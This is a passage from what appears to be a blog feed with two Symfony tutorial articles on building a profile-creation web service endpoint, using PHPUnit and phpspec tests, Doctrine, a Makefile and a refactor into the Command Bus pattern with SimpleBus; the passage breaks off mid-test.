<h2 id="the-controller-responsibility">The controller responsibility</h2>

<p>In order to <a href="https://speakerdeck.com/richardmiller/avoiding-the-mud">avoid the mud</a>,
we need to remove the logic from the controller. But which logic?</p>

<p>In <a href="https://symfony.com">Symfony</a>, controllers receive a Request and return a Response
(this follows the HTTP protocol). It is also the glue between the framework and our application.</p>

<p>From this we can assume that its responsibility is to:</p>

<ol>
<li>extract the parameters from the Request</li>
<li>give it to our application</li>
<li>get a result and build the Response with it</li>
</ol>

<p>The request's parameters could be legion, we woudln't like to have a method with too many arguments.
A way to solve this would be to create a Data Transfer Object (DTO): we would put all those parameters
in it and give it to the appropriate service.</p>

<h2 id="command-bus">Command Bus</h2>

<p>The Command Bus pattern is very fitting for this purpose: the DTO is called a Command, its name should
communicate our intention (in our example <code>CreateProfile</code>). It also has the responsibility of
validating user's input (for example converting IDs into integers).</p>

<p>Each Command is associated to only one CommandHandler service which do the actual logic.</p>

<p>Finally, there's the CommandBus: it finds the appropriate CommandHandler for the given Command
and executes it. It also executes some routines before and after the call (for example we can flush doctrine
after each commands).</p>

<blockquote>
  <p><strong>Note</strong>: CommandHandlers don't return anything.</p>
</blockquote>

<p>If you want to find out more on the Command Bus pattern, I'd recommend you to
have a look at this series by Matthias Noback:</p>

<ol>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/a-wave-of-command-buses/">a wave of command buses</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/responsibilities-of-the-command-bus/">responsibilities of the command bus</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/from-commands-to-events/">from commands to events</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/some-questions-about-the-command-bus/">some questions about the command bus</a></li>
<li><a href="http://php-and-symfony.matthiasnoback.nl/2015/01/collecting-events-and-the-events-aware-command-bus/">collectiong events and the event dispatching comand bus</a></li>
</ol>

<p>Since commands are all about sending a message, you can also read Mathias Verraes article on
<a href="http://verraes.net/2015/01/messaging-flavours">Messaging flavours</a>. He also wrote a nice
article on <a href="http://verraes.net/2015/02/form-command-model-validation/">Form, Command and Model validation</a>.</p>

<h2 id="simplebus">SimpleBus</h2>

<p><a href="http://simplebus.github.io/MessageBus">SimpleBus</a> is a small library that fits our purpose:</p>

<pre><code>composer require simple-bus/doctrine-orm-bridge
composer require simple-bus/symfony-bridge
</code></pre>

<blockquote>
  <p><strong>Note</strong>: It requires at least PHP 5.4.</p>
</blockquote>

<p>You need to register the bundle in our application's kernel:</p>

<pre><code class="php">&lt;?php
// File: app/AppKernel.php

use Symfony\Component\HttpKernel\Kernel;
use Symfony\Component\Config\Loader\LoaderInterface;

class AppKernel extends Kernel
{
    public function registerBundles()
    {
        $bundles = array(
            new Symfony\Bundle\FrameworkBundle\FrameworkBundle(),
            new Symfony\Bundle\SecurityBundle\SecurityBundle(),
            new Symfony\Bundle\TwigBundle\TwigBundle(),
            new Symfony\Bundle\MonologBundle\MonologBundle(),
            new Symfony\Bundle\SwiftmailerBundle\SwiftmailerBundle(),
            new Symfony\Bundle\AsseticBundle\AsseticBundle(),
            new Doctrine\Bundle\DoctrineBundle\DoctrineBundle(),
            new Sensio\Bundle\FrameworkExtraBundle\SensioFrameworkExtraBundle(),
            new SimpleBus\SymfonyBridge\SimpleBusCommandBusBundle(),
            new SimpleBus\SymfonyBridge\SimpleBusEventBusBundle(),
            new SimpleBus\SymfonyBridge\DoctrineOrmBridgeBundle(),
            new AppBundle\AppBundle(),
        );

        if (in_array($this-&gt;getEnvironment(), array('dev', 'test'))) {
            $bundles[] = new Symfony\Bundle\DebugBundle\DebugBundle();
            $bundles[] = new Symfony\Bundle\WebProfilerBundle\WebProfilerBundle();
            $bundles[] = new Sensio\Bundle\DistributionBundle\SensioDistributionBundle();
            $bundles[] = new Sensio\Bundle\GeneratorBundle\SensioGeneratorBundle();
        }

        return $bundles;
    }

    public function registerContainerConfiguration(LoaderInterface $loader)
    {
        $loader-&gt;load(__DIR__.'/config/config_'.$this-&gt;getEnvironment().'.yml');
    }
}
</code></pre>

<p>Let's commit this installation:</p>

<pre><code>git add -A
git commit -m 'Installed SimpleBus'
</code></pre>

<h2 id="create-profile">Create Profile</h2>

<p>We didn't create a <code>ProfileRepository</code> earlier, but we're going to need it now:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Entity/ProfileRepository.php

namespace AppBundle\Entity;

use Doctrine\ORM\EntityRepository;

class ProfileRepository extends EntityRepository
{
}
</code></pre>

<p>We should name the Command after the action we want to do. In our case we want
to create a profile:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle\CommandBus/CreateProfile.php

namespace AppBundle\CommandBus;

use SimpleBus\Message\Message;

class CreateProfile implements Message
{
    public $name;

    public function __construct($name)
    {
        $this-&gt;name = $name;
    }
}
</code></pre>

<p>We then need a CommandHandler to do the actual creation. Since there will be some logic,
let's create a specification:</p>

<pre><code>./bin/phpspec describe 'AppBundle\CommandBus\CreateProfileHandler'
</code></pre>

<p>And now we can describe it:</p>

<pre><code class="php">&lt;?php
// File: spec/AppBundle/CommandBus/CreateProfileHandlerSpec.php

namespace spec\AppBundle\CommandBus;

use AppBundle\CommandBus\CreateProfile;
use AppBundle\Entity\ProfileRepository;
use Doctrine\Common\Persistence\ObjectManager;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class CreateProfileHandlerSpec extends ObjectBehavior
{
    const NAME = 'John Cleese';

    function let(ObjectManager $objectManager, ProfileRepository $profileRepository)
    {
        $this-&gt;beConstructedWith($objectManager, $profileRepository);
    }

    function it_creates_a_profile(ObjectManager $objectManager, ProfileRepository $profileRepository)
    {
        $profileRepository-&gt;findOneBy(array('name' =&gt; self::NAME))-&gt;willReturn(null);
        $createdProfile = Argument::type('AppBundle\Entity\Profile');
        $objectManager-&gt;persist($createdProfile)-&gt;shouldBeCalled();

        $this-&gt;handle(new CreateProfile(self::NAME));
    }
}
</code></pre>

<p>This allows us to generate the code's skeleton:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>And to finally write the code to make the test pass:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/CommandBus/CreateProfileHandler.php

namespace AppBundle\CommandBus;

use AppBundle\Entity\Profile;
use AppBundle\Entity\ProfileRepository;
use Doctrine\Common\Persistence\ObjectManager;
use SimpleBus\Message\Handler\MessageHandler;
use SimpleBus\Message\Message;

class CreateProfileHandler implements MessageHandler
{
    private $objectManager;
    private $profileRepository;

    public function __construct(ObjectManager $objectManager, ProfileRepository $profileRepository)
    {
        $this-&gt;objectManager = $objectManager;
        $this-&gt;profileRepository = $profileRepository;
    }

    public function handle(Message $message)
    {
        $profile = $this-&gt;profileRepository-&gt;findOneBy(array('name' =&gt; $message-&gt;name));
        $newProfile = new Profile($message-&gt;name);
        $this-&gt;objectManager-&gt;persist($newProfile);
    }
}
</code></pre>

<p>Let's check the tests:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>All green, we can commit:</p>

<pre><code>git add -A
git commit -m 'Created CreateProfileHandler'
</code></pre>

<h2 id="name-duplication">Name duplication</h2>

<p>Domain validation (e.g. name duplication check) should be handled by the CommandHandler
(previously it was done in the controller):</p>

<pre><code class="php">&lt;?php
// File: spec/AppBundle/CommandBus/CreateProfileHandlerSpec.php

namespace spec\AppBundle\CommandBus;

use AppBundle\CommandBus\CreateProfile;
use AppBundle\Entity\ProfileRepository;
use Doctrine\Common\Persistence\ObjectManager;
use PhpSpec\ObjectBehavior;
use Prophecy\Argument;

class CreateProfileHandlerSpec extends ObjectBehavior
{
    const NAME = 'John Cleese';

    function let(ObjectManager $objectManager, ProfileRepository $profileRepository)
    {
        $this-&gt;beConstructedWith($objectManager, $profileRepository);
    }

    function it_creates_a_profile(ObjectManager $objectManager, ProfileRepository $profileRepository)
    {
        $profileRepository-&gt;findOneBy(array('name' =&gt; self::NAME))-&gt;willReturn(null);
        $createdProfile = Argument::type('AppBundle\Entity\Profile');
        $objectManager-&gt;persist($createdProfile)-&gt;shouldBeCalled();

        $this-&gt;handle(new CreateProfile(self::NAME));
    }

    function it_cannot_create_the_profile_if_the_name_has_already_been_registered(ProfileRepository $profileRepository)
    {
        $profile = Argument::type('AppBundle\Entity\Profile');
        $profileRepository-&gt;findOneBy(array('name' =&gt; self::NAME))-&gt;willReturn($profile);

        $domainException = '\DomainException';
        $this-&gt;shouldThrow($domainException)-&gt;duringHandle(new CreateProfile(self::NAME));
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: We try to be as descriptive as necessary in the test methods (a bad example
  would have been <code>testThrowsDomainException</code>).</p>
</blockquote>

<p>Here's the code to make the test pass:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/CommandBus/CreateProfileHandler.php

namespace AppBundle\CommandBus;

use AppBundle\Entity\Profile;
use AppBundle\Entity\ProfileRepository;
use Doctrine\Common\Persistence\ObjectManager;
use SimpleBus\Message\Handler\MessageHandler;
use SimpleBus\Message\Message;

class CreateProfileHandler implements MessageHandler
{
    private $objectManager;
    private $profileRepository;

    public function __construct(ObjectManager $objectManager, ProfileRepository $profileRepository)
    {
        $this-&gt;objectManager = $objectManager;
        $this-&gt;profileRepository = $profileRepository;
    }

    public function handle(Message $message)
    {
        $profile = $this-&gt;profileRepository-&gt;findOneBy(array('name' =&gt; $message-&gt;name));
        if (null !== $profile) {
            throw new \DomainException(sprintf('The name "%s" is already taken', $message-&gt;name));
        }
        $newProfile = new Profile($message-&gt;name);
        $this-&gt;objectManager-&gt;persist($newProfile);
    }
}
</code></pre>

<p>Let's check the tests:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>They pass!</p>

<pre><code>git add -A
git commit -m 'Added check on name duplication'
</code></pre>

<h2 id="input-validation">Input validation</h2>

<p>Input validation (e.g. presence of name parameter) should be done in the Command
(previously it was done in the controller):</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle\CommandBus/CreateProfile.php

namespace AppBundle\CommandBus;

use SimpleBus\Message\Message;

class CreateProfile implements Message
{
    public $name;

    public function __construct($name)
    {
        if (null === $name) {
            throw new \DomainException('The "name" parameter is missing from the request\'s body');
        }
        $this-&gt;name = $name;
    }
}
</code></pre>

<p>Let's commit it:</p>

<pre><code>git add -A
git commit -m 'Added check on name presence in the request'
</code></pre>

<h2 id="domainexceptionlistener">DomainExceptionListener</h2>

<p>Our Command and CommandHandler both throw a DomainException, we can catch it in an
exception listener and create a nice response:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/EventListener/DomainExceptionListener.php

namespace AppBundle\EventListener;

use DomainException;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpKernel\Event\GetResponseForExceptionEvent;

class DomainExceptionListener
{
    /**
     * @param GetResponseForExceptionEvent $event
     */
    public function onKernelException(GetResponseForExceptionEvent $event)
    {
        $exception = $event-&gt;getException();
        if (!$exception instanceof DomainException) {
            return;
        }
        $error = $exception-&gt;getMessage();
        $event-&gt;setResponse(new JsonResponse(array('error' =&gt; $error), 422));
    }
}
</code></pre>

<p>It needs to be registerd in the Dependency Injection Container:</p>

<pre><code># File: app/config/services.yml
services:
    app.submit_json_listener:
        class: AppBundle\EventListener\SubmitJsonListener
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.forbidden_exception_listener:
        class: AppBundle\EventListener\ForbiddenExceptionListener
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException, priority: 10 }

    app.domain_exception_listener:
        class: AppBundle\EventListener\DomainExceptionListener
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException, priority: 10 }
</code></pre>

<p>We can save it:</p>

<pre><code>git add -A
git commit -m 'Created DomainExceptionListener'
</code></pre>

<h2 id="using-the-command">Using the command</h2>

<p>Now that our CommandHandler is ready, we'll define it as a service with its repository:</p>

<pre><code># File: app/config/services.yml
services:
    app.submit_json_listener:
        class: AppBundle\EventListener\SubmitJsonListener
        tags:
            - { name: kernel.event_listener, event: kernel.request, method: onKernelRequest }

    app.forbidden_exception_listener:
        class: AppBundle\EventListener\ForbiddenExceptionListener
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException, priority: 10 }

    app.domain_exception_listener:
        class: AppBundle\EventListener\DomainExceptionListener
        tags:
            - { name: kernel.event_listener, event: kernel.exception, method: onKernelException, priority: 10 }

    app.profile_repository:
        class: AppBundle\Entity\ProfileRepository
        factory_service: doctrine.orm.default_entity_manager
        factory_method: getRepository
        arguments: ['AppBundle:Profile']

    app.create_profile_handler:
        class: AppBundle\CommandBus\CreateProfileHandler
        arguments:
            - "@doctrine.orm.entity_manager"
            - "@app.profile_repository"
        tags:
            - { name: command_handler, handles: AppBundle\CommandBus\CreateProfile }
</code></pre>

<p>And call it in the controller:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/ProfileCreationController.php;

namespace AppBundle\Controller;

use AppBundle\CommandBus\CreateProfile;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class ProfileCreationController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"POST"})
     */
    public function createProfileAction(Request $request)
    {
        $name = $request-&gt;request-&gt;get('name');

        $this-&gt;get('command_bus')-&gt;handle(new CreateProfile($name));
        $createdProfile = $this-&gt;get('app.profile_repository')-&gt;findOneBy(array('name' =&gt; $name));

        return new JsonResponse($createdProfile-&gt;toArray(), 201);
    }
}
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Since the CommandHandler doesn't return anything, we need to call the repository
  to get the created profile.</p>
</blockquote>

<p>As it happens, we've forgotten to set <code>ProfileRepository</code> in <code>Profile</code>'s <code>Entity</code> annotation.
Let's fix it now:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Entity/Profile.php

namespace AppBundle\Entity;

use Doctrine\ORM\Mapping as ORM;

/**
 * @ORM\Table(name="profile")
 * @ORM\Entity(repositoryClass="AppBundle\Entity\ProfileRepository")
 */
class Profile
{
    /**
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @ORM\Column(name="name", type="string", unique=true)
     */
    private $name;

    public function __construct($name)
    {
        $this-&gt;name = $name;
    }

    public function toArray()
    {
        return array(
            'id' =&gt; $this-&gt;id,
            'name' =&gt; $this-&gt;name,
        );
    }
}
</code></pre>

<p>Did we break anything?</p>

<pre><code>make test
</code></pre>

<p>No, all tests are super green!</p>

<pre><code>git add -A
git commit -m 'Used CreateProfileHandler in controller'
</code></pre>

<h2 id="conclusion">Conclusion</h2>

<p>Technical debt is something we should be able to manage. When the time comes to refactor,
design patterns can be a helpful tool.</p>

<p>CommandBus is a nice pattern which allows us to remove imperative logic from the controllers.
It's easy to write unit test for CommandHandlers, and they can be reused
(creating a profile is surely something we can need elsewhere in our application).</p>

<p>This article concludes the second part of this series on web services in a Symfony environment.
In the <a href="/2015/03/11/sf-ws-part-3-1-consuming-request-handler.html">next one</a>,
we'll start a new application which consumes the one we just created.</p>

<blockquote>
  <p><strong>Note</strong>: The web service we described also had a removal endpoint. Since there's not much else
  to learn, it won't be created in this series.</p>
</blockquote>

<h3 id="going-further">Going further</h3>

<p>A lot of things can be improved in the current application, here's some tips for those
who'd like to practice:</p>

<ul>
<li>name duplication is actually a "Conflict" type of error, not "Unprocessable Entity"</li>
<li>we could use Symfony's validation component (use <code>validator</code> in the CommandHandler and set annotations in the Command)</li>
<li>we could create a CommandBus that always validate the Command using Symfony's validation component</li>
<li>we can create our own DomainException to avoid catching ones that could be thrown by third party libraries</li>
</ul>

<blockquote>
  <p><strong>Reference</strong>: <a class="button button-reference" href="/2015/08/03/phpspec.html">see the phpspec reference article</a></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony / Web Services - part 2.2: Creation, the pragmatic way]]></title>
            <link href="/2015/01/28/sf-ws-part-2-2-creation-pragmatic.html"/>
            <updated>2015-01-28T00:00:00+00:00</updated>
            <id>/2015/01/28/sf-ws-part-2-2-creation-pragmatic.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This series has been re-written - see
  <a href="/2016/02/03/ultimate-symfony-http-kernel.html">The Ultimate Developer Guide to Symfony</a></p>
</blockquote>

<p>This is the third article of the series on managing Web Services in a
<a href="https://symfony.com">Symfony</a> environment. Have a look at the two first ones:</p>

<ul>
<li><a href="/2015/01/14/sf-ws-part-1-introduction.html">1. Introduction</a></li>
<li><a href="/2015/01/21/sf-ws-part-2-1-creation-bootstrap.html">2.1 Creation bootstrap</a></li>
</ul>

<p>You can check the code in the <a href="https://github.com/gnugat-examples/sf-ws">following repository</a>.</p>

<p>In this post we'll see how to create profiles:</p>

<ul>
<li><a href="#creating-the-controller">The controller</a></li>
<li><a href="#the-profile-entity">The profile entity</a></li>
<li><a href="#linking-with-the-database">Linking with the database</a></li>
<li><a href="#managing-errors">Managing errors</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="creating-the-controller">Creating the controller</h2>

<p>First things first, we'll write a functional test:</p>

<pre><code class="php">&lt;?php
// File: tests/Controller/ProfileCreationControllerTest.php

namespace AppBundle\Tests\Controller;

use Symfony\Component\HttpFoundation\Request;

class ProfileCreationControllerTest extends \PHPUnit_Framework_TestCase
{
    private $app;

    protected function setUp()
    {
        $this-&gt;app = new \AppKernel('test', false);
        $this-&gt;app-&gt;boot();
    }

    public function testItCreatesProfiles()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
            'PHP_AUTH_USER' =&gt; 'spanish_inquisition',
            'PHP_AUTH_PW' =&gt; 'NobodyExpectsIt!',
        );
        $body = json_encode(array('name' =&gt; 'Fawlty Towers'));
        $request = Request::create('/api/v1/profiles', 'POST', array(), array(), array(), $headers, $body);

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertSame(201, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }
}
</code></pre>

<p>The test should fail, because the route hasn't been found (<code>404 NOT FOUND</code>):</p>

<pre><code>phpunit -c app
</code></pre>

<p>Flabergast! The test fails with a <code>PHP Fatal error:  Class 'AppKernel' not found</code>!
Let's fix this by adding the forgotten PHP tag opening in the bootstrap file:</p>

<pre><code class="php">&lt;?php
// File: app/bootstrap.php

require __DIR__.'/bootstrap.php.cache';
require __DIR__.'/AppKernel.php';
</code></pre>

<p>Let's check how the tests react:</p>

<pre><code>phpunit -c app
</code></pre>

<p>Another failure: the database doesn't exist. We need to create it for the test
environment:</p>

<pre><code>php app/console doctrine:database:create --env=test
</code></pre>

<p>Let's run the tests once again:</p>

<pre><code>phpunit -c app
</code></pre>

<p>This time the test fails for the right reason: the page doesn't exist.
To fix this, we'll create an empty controller:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/ProfileCreationController.php;

namespace AppBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class ProfileCreationController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"POST"})
     */
    public function createProfileAction(Request $request)
    {
        $name = $request-&gt;request-&gt;get('name');
        $createdProfile = array();

        return new JsonResponse($createdProfile, 201);
    }
}
</code></pre>

<p>This should make the test pass:</p>

<pre><code>phpunit -c app
</code></pre>

<p>If an error occurs (404 not found), then it might be because of the cache:</p>

<pre><code>php app/console cache:clear --env=test
phpunit -c app
</code></pre>

<p>Running tests is becoming cumbersome, let's make it easy using a Makefile:</p>

<pre><code># Makefile
test:
    php app/console cache:clear --env=test
    php app/console doctrine:database:create --env=test
    phpunit -c app
    php app/console doctrine:database:drop --force --env=test
</code></pre>

<blockquote>
  <p><strong>Note</strong>: mind the tabs, make doesn't support space indentation.</p>
</blockquote>

<p>In order for this to work we'll need to drop the database (because it already exists):</p>

<pre><code>php app/console doctrine:database:drop --force --env=test
</code></pre>

<p>Tests can now be run using:</p>

<pre><code>make test
</code></pre>

<p>Everything's fine, we can commit our work:</p>

<pre><code>git add -A
git commit -m 'Created profile creation endpoint'
</code></pre>

<h2 id="the-profile-entity">The profile entity</h2>

<p>At this point, we'll need to store the profile in a database. For this purpose,
we'll use MySQL and Doctrine, so we'll need to create a profile entity.</p>

<p>We'll first generate a skeleton of its specification using <a href="http://phpspec.net">phpspec</a>:</p>

<pre><code>./bin/phpspec describe 'AppBundle\Entity\Profile'
</code></pre>

<p>Then we'll edit the specification:</p>

<pre><code class="php">&lt;?php
// File: spec/AppBundle/Entity/ProfileSpec.php

namespace spec\AppBundle\Entity;

use PhpSpec\ObjectBehavior;

class ProfileSpec extends ObjectBehavior
{
    const NAME = 'Arthur Dent';

    function let()
    {
        $this-&gt;beConstructedWith(self::NAME);
    }

    function it_can_be_converted_to_array()
    {
        $this-&gt;toArray()-&gt;shouldBe(array(
            'id' =&gt; null,
            'name' =&gt; self::NAME,
        ));
    }
}
</code></pre>

<p>Since we're happy with this step, we'll generate a skeleton of the code:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>Of course we need to edit it:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Entity/Profile.php

namespace AppBundle\Entity;

use Doctrine\ORM\Mapping as ORM;

/**
 * @ORM\Table(name="profile")
 * @ORM\Entity
 */
class Profile
{
    /**
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @ORM\Column(name="name", type="string", unique=true)
     */
    private $name;

    public function __construct($name)
    {
        $this-&gt;name = $name;
    }

    public function toArray()
    {
        return array(
            'id' =&gt; $this-&gt;id,
            'name' =&gt; $this-&gt;name,
        );
    }
}
</code></pre>

<p>Let's check if it satisfies our specification:</p>

<pre><code>./bin/phpspec run
</code></pre>

<p>It does! With this we can generate our database:</p>

<pre><code>php app/console doctrine:database:create
php app/console doctrine:schema:create
</code></pre>

<p>Let's update our Makefile:</p>

<pre><code># Makefile
prod:
    php app/console cache:clear --env=prod
    php app/console doctrine:database:create --env=prod
    php app/console doctrine:schema:create --env=prod

dev:
    php app/console cache:clear --env=dev
    php app/console doctrine:database:create --env=dev
    php app/console doctrine:schema:create --env=dev

test:
    php app/console cache:clear --env=test
    php app/console doctrine:database:create --env=test
    php app/console doctrine:schema:create --env=test
    phpunit -c app
    bin/phpspec run
    php app/console doctrine:database:drop --force --env=test
</code></pre>

<p>This allows us to also run phpspec for tests. Installing a project should be as
simple as:</p>

<pre><code>make
</code></pre>

<p>And for development we can use:</p>

<pre><code>make dev
</code></pre>

<blockquote>
  <p><strong>Note</strong>: trying to run a second time <code>make</code> or <code>make dev</code> will fail as the
  database already exists. We'll need to run respectively
  <code>php app/console doctrine:database:drop --force --env=prod</code> and
  <code>php app/console doctrine:database:drop --force --env=dev</code>, but we should really
  run those commands only once.</p>
</blockquote>

<p>It is time to commit our progress:</p>

<pre><code>git add -A
git commit -m 'Created Profile entity'
</code></pre>

<h2 id="linking-with-the-database">Linking with the database</h2>

<p>The only thing missing in our application is the actual creation of the profile.
Before doing anything with the code, we'll need to update our functional test:
we don't want the data to be actually persisted, as it would make the test fail
on a second run:</p>

<pre><code>&lt;?php
// File: tests/Controller/ProfileCreationControllerTest.php

namespace AppBundle\Tests\Controller;

use Symfony\Component\HttpFoundation\Request;

class ProfileCreationControllerTest extends \PHPUnit_Framework_TestCase
{
    private $app;
    private $em;

    protected function setUp()
    {
        $this-&gt;app = new \AppKernel('test', true);
        $this-&gt;app-&gt;boot();

        $this-&gt;em = $this-&gt;app-&gt;getContainer()-&gt;get('doctrine.orm.entity_manager');
        $this-&gt;em-&gt;beginTransaction();
    }

    public function testItCreatesProfiles()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
            'PHP_AUTH_USER' =&gt; 'spanish_inquisition',
            'PHP_AUTH_PW' =&gt; 'NobodyExpectsIt!',
        );
        $body = json_encode(array('name' =&gt; 'Fawlty Towers'));
        $request = Request::create('/api/v1/profiles', 'POST', array(), array(), array(), $headers, $body);

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertSame(201, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    protected function tearDown()
    {
        $this-&gt;em-&gt;rollback();
        $this-&gt;em-&gt;close();
    }
}
</code></pre>

<p>Let's update the controller:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/ProfileCreationController.php;

namespace AppBundle\Controller;

use AppBundle\Entity\Profile;
use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class ProfileCreationController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"POST"})
     */
    public function createProfileAction(Request $request)
    {
        $em = $this-&gt;get('doctrine.orm.entity_manager');

        $createdProfile = new Profile($request-&gt;request-&gt;get('name'));
        $em-&gt;persist($createdProfile);
        $em-&gt;flush();

        return new JsonResponse($createdProfile-&gt;toArray(), 201);
    }
}
</code></pre>

<p>Time to run the tests:</p>

<pre><code>make test
</code></pre>

<p>All green! We can commit:</p>

<pre><code>git add -A
git commit -m 'Saved created profile in database'
</code></pre>

<h2 id="managing-errors">Managing errors</h2>

<p>Our endpoint should return an error if the "name" parameter is missing. Let's add
a functional test for this:</p>

<pre><code>&lt;?php
// File: tests/Controller/ProfileCreationControllerTest.php

namespace AppBundle\Tests\Controller;

use Symfony\Component\HttpFoundation\Request;

class ProfileCreationControllerTest extends PHPUnit_Framework_TestCase
{
    private $app;
    private $em;

    protected function setUp()
    {
        $this-&gt;app = new \AppKernel('test', true);
        $this-&gt;app-&gt;boot();

        $this-&gt;em = $this-&gt;app-&gt;getContainer()-&gt;get('doctrine.orm.entity_manager');
        $this-&gt;em-&gt;beginTransaction();
    }

    public function testItCreatesProfiles()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
            'PHP_AUTH_USER' =&gt; 'spanish_inquisition',
            'PHP_AUTH_PW' =&gt; 'NobodyExpectsIt!',
        );
        $body = json_encode(array('name' =&gt; 'Fawlty Towers'));
        $request = Request::create('/api/v1/profiles', 'POST', array(), array(), array(), $headers, $body);

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertSame(201, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    public function testItFailsIfNameIsMissing()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
            'PHP_AUTH_USER' =&gt; 'spanish_inquisition',
            'PHP_AUTH_PW' =&gt; 'NobodyExpectsIt!',
        );
        $body = json_encode(array('no-name' =&gt; ''));
        $request = Request::create('/api/v1/profiles', 'POST', array(), array(), array(), $headers, $body);

        $response = $this-&gt;app-&gt;handle($request);

        $this-&gt;assertSame(422, $response-&gt;getStatusCode(), $response-&gt;getContent());
    }

    protected function tearDown()
    {
        $this-&gt;em-&gt;rollback();
        $this-&gt;em-&gt;close();
    }
}
</code></pre>

<p>It should make our tests fail:</p>

<pre><code>make test
</code></pre>

<p>We can make this test pass by adding a simple check:</p>

<pre><code class="php">&lt;?php
// File: src/AppBundle/Controller/ProfileCreationController.php;

namespace AppBundle\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\Controller;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Method;
use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route;
use Symfony\Component\HttpFoundation\JsonResponse;
use Symfony\Component\HttpFoundation\Request;

class ProfileCreationController extends Controller
{
    /**
     * @Route("/api/v1/profiles")
     * @Method({"POST"})
     */
    public function createProfileAction(Request $request)
    {
        $em = $this-&gt;get('doctrine.orm.entity_manager');

        $name = $request-&gt;request-&gt;get('name');
        if (null === $name) {
            return new JsonResponse(array('error' =&gt; 'The "name" parameter is missing from the request\'s body'), 422);
        }
        $createdProfile = new Profile($name);
        $em-&gt;persist($createdProfile);
        $em-&gt;flush();

        return new JsonResponse($createdProfile-&gt;toArray(), 201);
    }
}
</code></pre>

<p>Let's see:</p>

<pre><code>php app/console doctrine:database:drop --force --env=test
make test
</code></pre>

<blockquote>
  <p><strong>Note</strong>: Because our last test failed, the database hasn't been removed, so we
  need to do it manually.</p>
</blockquote>

<p>Looks nice! Our endpoint should also fail when a profile with the same name
already exist:</p>

<pre><code>&lt;?php
// File: tests/Controller/ProfileCreationControllerTest.php

namespace AppBundle\Tests\Controller;

use Symfony\Component\HttpFoundation\Request;

class ProfileCreationControllerTest extends PHPUnit_Framework_TestCase
{
    private $app;
    private $em;

    protected function setUp()
    {
        $this-&gt;app = new \AppKernel('test', true);
        $this-&gt;app-&gt;boot();

        $this-&gt;em = $this-&gt;app-&gt;getContainer()-&gt;get('doctrine.orm.entity_manager');
        $this-&gt;em-&gt;beginTransaction();
    }

    public function testItCreatesProfiles()
    {
        $headers = array(
            'CONTENT_TYPE' =&gt; 'application/json',
            'PHP_AUTH_USER' =&gt; 'spanish_inquisition',
            'PHP_AUTH_PW' =&gt; 'NobodyExpectsIt!',
        );
        $body = json_encode(array('name' =&gt; 'Fawlty Towers'));
        $request = Request::create('/api/v1/profiles', 'POST', array(), array(), array(), $headers, $body);

        $response = $this-&gt;app-&gt;handle($request);

